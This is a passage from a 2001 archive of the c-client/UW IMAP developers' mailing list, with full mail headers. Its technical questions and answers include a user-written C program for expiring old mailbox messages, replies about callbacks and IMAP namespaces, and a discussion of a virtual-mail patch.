mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3H0lMo17607; Mon, 16 Apr 2001 17:47:22 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (stud@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3H0lMw10880; Mon, 16 Apr 2001 17:47:22 -0700 Message-Id: Date: Mon, 16 Apr 2001 17:32:18 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Friedrich Lobenstock Cc: C-Client/WU-IMAP Mailing Liste Subject: re: virtual email support and WU-IMAPD In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 11 Apr 2001 00:10:03 +0200 (CEST), Friedrich Lobenstock wrote: > How about including the patch for virtual mail support from > http://vimap.sourceforge.net/ into the official wu-imapd? Hello. I have reviewed this patch. It is a good piece of work. I don't have any objection to the patch other than portability issues, since it's based upon linuxconf and PAM. However, because of these portability issues, I feel that it is better if it remains a third-party supplied and supported patch. I encourage its developer to continue working on it, and to test it in the latest imap-2001: ftp://ftp.cac.washington.edu/mail/imap.tar.Z I may also be willing to add some hooks to the official sources to make subsequent versions of the patch easier. From pinedev@shivax2.cac.washington.edu Mon Apr 16 20:39:06 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 16 Apr 2001 20:39:06 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f3H3d5o09234 for ; Mon, 16 Apr 2001 20:39:05 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Mon Apr 16 20:39:04 2001 -0700 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3H3d2M01057; Mon, 16 Apr 2001 20:39:02 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f3H3ZNU11154; Mon, 16 Apr 2001 20:35:23 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3H3Xg947806 for ; Mon, 16 Apr 2001 20:33:42 -0700 Received: from ns1.sevenkings.net (ns1.sevenkings.net [216.126.141.50]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3H3Xg726082 for ; Mon, 16 Apr 2001 20:33:42 -0700 Received: from TB900 (5879-176-227.029.popsite.net [216.126.176.227]) (authenticated (0 bits)) by ns1.sevenkings.net (8.11.2/8.11.2/SuSE Linux 8.11.1-0.5) with ESMTP id f3H3XYP08018 for ; Mon, 16 Apr 2001 22:33:34 -0500 Message-Id: Date: Mon, 16 Apr 2001 23:33:18 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: John Kelly To: c-client@u.washington.edu Subject: Expire and purge old messages In-Reply-To: <200104170253.f3H2r7k07907@ns1.sevenkings.net> References: <200104170253.f3H2r7k07907@ns1.sevenkings.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I needed a program to expire and purge old messages, and could not find anything. So I had to hack something up. And now I have some questions: a) When freeing the searchpgm memory I think I was supposed to use the address of the pointer like so: mail_free_searchpgm (&sp); The prototype says **, so I think the "&" is correct. But the program seems to run with or without the "&", so I just want to be sure I got this right. Right? b) I found this in the archive: > Sniffing at elt->searched is one of the few instances where it > is correct to use mail_elt() without any mail_fetchstructure() > or mail_fetchflags() call first. In the hope of getting maximum performance, I open the mailbox with OP_SHORTCACHE and run a search with SE_NOPREFETCH. Test results indicate that the elt->searched flags are set by the search, giving me the expired messages I'm looking for. Does that sound like the correct approach? c) After reading locking.txt, I concluded that c-client handles all the locking for me. But I still wonder ... is it possible for another process to expunge the same file and alter the message numbers I found in my search, before I complete my expunge? I'm not sure I understand the implications of the kiss-of-death feature described in locking.txt as it might apply to my code below. >/* > * Program: Expire and purge old messages > * > * Usage: {program} mailbox days > * > * Notes: The days parameter means the number of days to keep > * messages, in whole days. Days = 1 means keep today's > * messages and yesterday's too, since today can never > * be a whole day until tomorrow. Most inscrutably so! > * > * > * Copyright 2001 by the University of Washington > * > * Permission to use, copy, modify, and distribute this software and its > * documentation for any purpose and without fee is hereby granted, provided > * that the above copyright notice appears in all copies and that both the > * above copyright notice and this permission notice appear in supporting > * documentation, and that the name of the University of Washington not be > * used in advertising or publicity pertaining to distribution of the software > * without specific, written prior permission. This software is made > * available "as is", and > * THE UNIVERSITY OF WASHINGTON DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, > * WITH REGARD TO THIS SOFTWARE, INCLUDING WITHOUT LIMITATION ALL IMPLIED > * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE, AND IN > * NO EVENT SHALL THE UNIVERSITY OF WASHINGTON BE LIABLE FOR ANY SPECIAL, > * INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM > * LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, TORT > * (INCLUDING NEGLIGENCE) OR STRICT LIABILITY, ARISING OUT OF OR IN CONNECTION > * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. > * > */ >#include >#include >#include >#include >#include >#include "mail.h" >#include "osdep.h" >#include "misc.h" >#include "linkage.h" > >int debug = NIL; >int verbose = NIL; >int critical = NIL; > >int main (int argc, char *argv[]) { > > char *pgm; > time_t ts; > struct tm tl; > long int days_to_keep; > unsigned long int ic, ix, pc; > MAILSTREAM *ms; > SEARCHPGM *sp; > char tmp[MAILTMPLEN]; > > pc = 0; > ms = NULL; > sp = NULL; > >#include "linkage.c" > > if (argc != 3) { > pgm = strrchr (argv[0], '/'); > if (pgm == NULL) pgm = argv[0]; else pgm++; > printf ("Usage: %s mailbox days\n", pgm); > return (1); > } > > ic = sscanf (argv[2], "%ld", &days_to_keep); > if (ic != 1 || days_to_keep < 1 || days_to_keep > 7000) { > printf ("Input: days must range from 1 to 7000\n"); > return (1); > } > > sp = mail_newsearchpgm (); > if (sp == NULL) { > printf ("Not enough memory for search program\n"); > return (1); > } > > if (!(ms = mail_open (NULL, argv[1], OP_SHORTCACHE))) > return (1); > > if (!ms->nmsgs) { > if (verbose) > printf ("%s is empty\n", ms->mailbox); > mail_close (ms); > return (0); > } > > if (verbose) > printf ("%s has %lu message(s)\n", ms->mailbox, ms->nmsgs); > ts = time (NULL); > ts -= days_to_keep * 86400; > tl = *(localtime (&ts)); > sp->before = (((tl.tm_year + 1900) - BASEYEAR << 9) | ((tl.tm_mon + 1) << 5) | tl.tm_mday); > mail_search_full (ms, NULL, sp, SE_NOPREFETCH); > mail_free_searchpgm (&sp); > for (ix = 1; ix <= ms->nmsgs; ix++) { > if (mail_elt (ms, ix)->searched) { > pc++; > snprintf (tmp, sizeof tmp, "%lu", ix); > mail_setflag (ms, tmp, "\\Deleted"); > } > } > if (verbose) > printf ("%s has %lu message(s) to expunge\n", ms->mailbox, pc); > mail_expunge (ms); > mail_close (ms); > return 0; >} > >void mm_searched (MAILSTREAM *stream, unsigned long number) >{ > if (verbose && debug) > printf ("Message %lu flagged for delete\n", number); >} > >void mm_exists (MAILSTREAM *stream, unsigned long number) >{ >} > >void mm_expunged (MAILSTREAM *stream, unsigned long number) >{ >} > >void mm_flags (MAILSTREAM *stream, unsigned long number) >{ >} > >void mm_notify (MAILSTREAM *stream, char *string, long errflg) >{ > mm_log (string, errflg); >} > >void mm_list (MAILSTREAM *stream, int delimiter, char *mailbox, long attributes) >{ >} > >void mm_lsub (MAILSTREAM *stream, int delimiter, char *mailbox, long attributes) >{ >} > >void mm_status (MAILSTREAM *stream, char *mailbox, MAILSTATUS *status) >{ >} > >void mm_log (char *string, long errflg) >{ > switch ((short) errflg) { > case BYE: > case NIL: > if (verbose) printf ("[%s]\n", string); > break; > case PARSE: > break; > case WARN: > fprintf (stderr, "%%%s\n", string); > break; > case ERROR: > default: > fprintf (stderr, "?%s\n", string); > break; > } >} > >void mm_dlog (char *string) >{ > fprintf (stderr, "%s\n",string); >} > >void mm_critical (MAILSTREAM *stream) >{ > critical = T; >} > >void mm_nocritical (MAILSTREAM *stream) >{ > critical = NIL; >} > >long mm_diskerror (MAILSTREAM *stream, long errcode, long serious) >{ > kill (getpid (), SIGSTOP); > return (1); >} > >void mm_fatal (char *string) >{ > fprintf (stderr,"?%s\n", string); >} > >void mm_login (NETMBX *mb,char *user,char *pwd,long trial) >{ >} -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Apr 17 07:37:49 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 17 Apr 2001 07:37:48 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f3HEblo02605 for ; Tue, 17 Apr 2001 07:37:47 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Tue Apr 17 07:37:46 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3HEbiM18391; Tue, 17 Apr 2001 07:37:44 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f3HEZFL21734; Tue, 17 Apr 2001 07:35:15 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3HEX1978676 for ; Tue, 17 Apr 2001 07:33:01 -0700 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3HEX0U26323 for ; Tue, 17 Apr 2001 07:33:00 -0700 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.11.3/jtpda-5.3.3) with ESMTP id f3HEWx113145 for ; Tue, 17 Apr 2001 16:32:59 +0200 (CEST) Received: from seth.lpthe.jussieu.fr (IDENT:zeitlin@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id f3HEWxU14546 for ; Tue, 17 Apr 2001 16:32:59 +0200 (MEST) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id QAA22782 ; Tue, 17 Apr 2001 16:32:58 +0200 Message-Id: <200104171432.QAA22782@seth.lpthe.jussieu.fr> Date: Tue, 17 Apr 2001 16:32:53 +0200 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: what are SET_MAILPROXYCOPY and SET_IMAPREFERRAL for? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, could someone please explain what are these callbacks supposed to do? I think they might be a solution to one of my problems but I'm not sure about it and I couldn't understand when are they called nor what exactly should they do (even after looking at pine sources). Thanks in advance, VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Apr 17 10:26:54 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 17 Apr 2001 10:26:53 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f3HHQpo29668 for ; Tue, 17 Apr 2001 10:26:52 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Tue Apr 17 10:26:51 2001 -0700 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3HHQmM19049; Tue, 17 Apr 2001 10:26:48 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f3HHP4U30802; Tue, 17 Apr 2001 10:25:04 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3HHO0945316 for ; Tue, 17 Apr 2001 10:24:00 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3HHO0M18379 for ; Tue, 17 Apr 2001 10:24:00 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3HHNxH11758; Tue, 17 Apr 2001 10:23:59 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (chince@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3HHNxw17980; Tue, 17 Apr 2001 10:23:59 -0700 Message-Id: Date: Tue, 17 Apr 2001 10:20:05 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: re: what are SET_MAILPROXYCOPY and SET_IMAPREFERRAL for? In-Reply-To: <200104171432.QAA22782@seth.lpthe.jussieu.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 17 Apr 2001 16:32:53 +0200 (CET), Vadim Zeitlin wrote: > could someone please explain what are these callbacks supposed to do? These set application-specific callback functions. proxycopy is an application routine which will do a cross-format copy. Normally, mail_copy() will fail if the target mailbox is in a different format than the source mailbox; however, if a proxycopy routine is set, mail_copy() will pass cross-format copies on to the proxycopy routine. imapreferral is an application routine to receive any referral events from an IMAP server. Normally, referral events are ignored. The imapreferral routine is supposed to parse the URL and create a new c-client mailbox name for a retry of the c-client function which generated the referral. From pinedev@shivax2.cac.washington.edu Tue Apr 24 10:18:39 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 24 Apr 2001 10:18:39 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f3OHIco21929 for ; Tue, 24 Apr 2001 10:18:38 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Tue Apr 24 10:18:37 2001 -0700 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3OHIXM30351; Tue, 24 Apr 2001 10:18:33 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f3OHEfU30186; Tue, 24 Apr 2001 10:14:41 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3OHBh992406 for ; Tue, 24 Apr 2001 10:11:43 -0700 Received: from door.difference.com.au (root@bing.iinet.net.au [203.59.54.246]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3OHBft20254 for ; Tue, 24 Apr 2001 10:11:41 -0700 Received: from [203.59.156.144] (i156-128.nv.iinet.net.au [203.59.156.128]) by door.difference.com.au (8.11.2/8.11.2/Debian 8.11.2-1) with ESMTP id f3OGaAW13683 for ; Wed, 25 Apr 2001 00:36:10 +0800 Message-Id: Date: Wed, 25 Apr 2001 01:10:36 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Cake To: c-client@u.washington.edu Subject: C-Client on MacOS X Server Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Sender: dave@mail.difference.com.au X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I think I have a problem with either the C-Client or imapd on MacOS X Server. I am trying to use a webmail package, IMP, and everything works fine except sending mail (which does do some authentication with imapd before it sends using sendmail, which appears to be where it gets stalled). Any suggestions for how I debug this sort of problem, or satisfy myself that C-Client is not the problem? imapd works fine when tested with pine etc. Cheers David -- -- David Cake Difference Engineering Mac OS X, Unix, and MacOS consulting -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Apr 24 14:06:18 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 24 Apr 2001 14:06:17 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f3OL6Go15305 for ; Tue, 24 Apr 2001 14:06:16 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Tue Apr 24 14:06:15 2001 -0700 Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3OL6DM30762; Tue, 24 Apr 2001 14:06:13 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f3OL3kU21718; Tue, 24 Apr 2001 14:03:46 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3OL2a985440 for ; Tue, 24 Apr 2001 14:02:37 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3OL2at04462 for ; Tue, 24 Apr 2001 14:02:36 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3OL2ZH02535; Tue, 24 Apr 2001 14:02:35 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (s564146@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3OL2Z115397; Tue, 24 Apr 2001 14:02:35 -0700 Message-Id: Date: Tue, 24 Apr 2001 14:01:31 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: David Cake Cc: c-client@u.washington.edu Subject: re: C-Client on MacOS X Server In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 25 Apr 2001 01:10:36 +0800, David Cake wrote: > everything works fine except sending mail (which does do some > authentication with imapd before it sends using sendmail, which > appears to be where it gets stalled). Unfortunately, this is not enough detail to determine what is wrong. It probably is not a c-client problem. However, with additional information, we may be able to diagnose the problem for you. From pinedev@shivax2.cac.washington.edu Thu Apr 26 17:47:34 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Apr 2001 17:47:34 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f3R0lXD13366 for ; Thu, 26 Apr 2001 17:47:33 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Thu Apr 26 17:47:32 2001 -0700 Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3R0lVu32627; Thu, 26 Apr 2001 17:47:31 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f3R0hKn20136; Thu, 26 Apr 2001 17:43:20 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3R0fg965042 for ; Thu, 26 Apr 2001 17:41:42 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3R0fgv20608 for ; Thu, 26 Apr 2001 17:41:42 -0700 Received: from central.bldrdoc.gov (central.boulder.nist.gov [132.163.128.1]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3R0fcC24130 for ; Thu, 26 Apr 2001 17:41:42 -0700 Received: from tahoe.bldr.nist.gov (tahoe.bldr.nist.gov [132.163.129.121]) by central.bldrdoc.gov (8.9.3/8.9.2) with ESMTP id SAA24036 for ; Thu, 26 Apr 2001 18:41:36 -0600 (MDT) Message-Id: Date: Thu, 26 Apr 2001 18:41:36 -0600 (MDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sean S Coleman To: c-client@CAC.Washington.EDU Subject: Shared Folders and UW IMAP MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: coleman@tahoe.bldr.nist.gov X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I am in the process of evaluating shared folders under UW IMAP and am having some difficulties. I need to find out if the behavior I am experiencing is as expected or I am doing something wrong. I created a user on the IMAP server called imapshared and gave it a home directory and a public mail folder with permissions set so all could read the messages. Before continuing, let me state that I realize that this stuff is very dependent on the mail client but I just want to make sure I understand what is happening. I can't get any of the common mail clients, ie Outlook, Eudora 5.1 or Netscape messenger to see the shared folder under the imapshared directory. If I look at the output of tcpflow when I tell these clients to get the folder list, the IMAP server only returns the folders under that users home directory. In order to see the shared folder, I have to set in the properties either #shared (Eudora) or ~imapdshared in Outlook Express to see the shared folder. This causes the client to fail to see the inbox for the actual user. It appears that what I have to do is create a seperate account or personality where I can specify #shared so I can both see the shared folder and my Inbox. Is this exactly the case or am I missing something? For Netscape, you can't create a second account so you can specify a different root directory for the shared folders. How do you deal with this situation? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Apr 26 18:00:31 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Apr 2001 18:00:31 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f3R10UD02531 for ; Thu, 26 Apr 2001 18:00:30 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY claven.cac.washington.edu ; Thu Apr 26 18:00:30 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3R10TC24600; Thu, 26 Apr 2001 18:00:29 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f3R0uDL07028; Thu, 26 Apr 2001 17:56:13 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3R0tU985248 for ; Thu, 26 Apr 2001 17:55:31 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3R0tUF29649 for ; Thu, 26 Apr 2001 17:55:30 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3R0tUC24407 for ; Thu, 26 Apr 2001 17:55:30 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3R0tUo01274; Thu, 26 Apr 2001 17:55:30 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (sarr@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3R0tUw22446; Thu, 26 Apr 2001 17:55:30 -0700 Message-Id: Date: Thu, 26 Apr 2001 17:52:33 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Sean S Coleman Cc: c-client@CAC.Washington.EDU Subject: re: Shared Folders and UW IMAP In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 26 Apr 2001 18:41:36 -0600 (MDT), Sean S Coleman wrote: > I can't get any of the common mail clients, ie Outlook, Eudora 5.1 or > Netscape messenger to see the shared folder under the imapshared > directory. I'm surprised to hear this, because I had heard that Netscape insisted upon showing namespaces even when you didn't want it to do so. In any case, namespace support is a client issue, and you should bring up the issue with the vendor(s) of your client of choice. I suspect that future versions of Outlook will support namespaces, because Microsoft was one of the instigators of the NAMESPACE extension. From pinedev@shivax2.cac.washington.edu Thu Apr 26 18:04:48 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Apr 2001 18:04:48 -0700 (PDT) Return-Path: Received: from claven.cac.washington.edu (claven.cac.washington.edu [140.142.32.7]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f3R14lD00904 for ; Thu, 26 Apr 2001 18:04:47 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY claven.cac.washington.edu ; Thu Apr 26 18:04:46 2001 -0700 Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3R14ju00612; Thu, 26 Apr 2001 18:04:46 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with SMTP id f3R11UL10256; Thu, 26 Apr 2001 18:01:30 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.03) with ESMTP id f3R10r965186 for ; Thu, 26 Apr 2001 18:00:53 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3R10q118308 for ; Thu, 26 Apr 2001 18:00:52 -0700 Received: from cliff.unet.brandeis.edu (cliff.unet.brandeis.edu [129.64.99.34]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f3R10pC24612 for ; Thu, 26 Apr 2001 18:00:51 -0700 Received: from quixote.unet.brandeis.edu (IDENT:0@quixote.unet.brandeis.edu [129.64.99.99]) by cliff.unet.brandeis.edu (8.9.3/8.9.3/UNet2.1) with ESMTP id VAA09030 for ; Thu, 26 Apr 2001 21:00:50 -0400 Received: from localhost (rcgraves@localhost) by quixote.unet.brandeis.edu 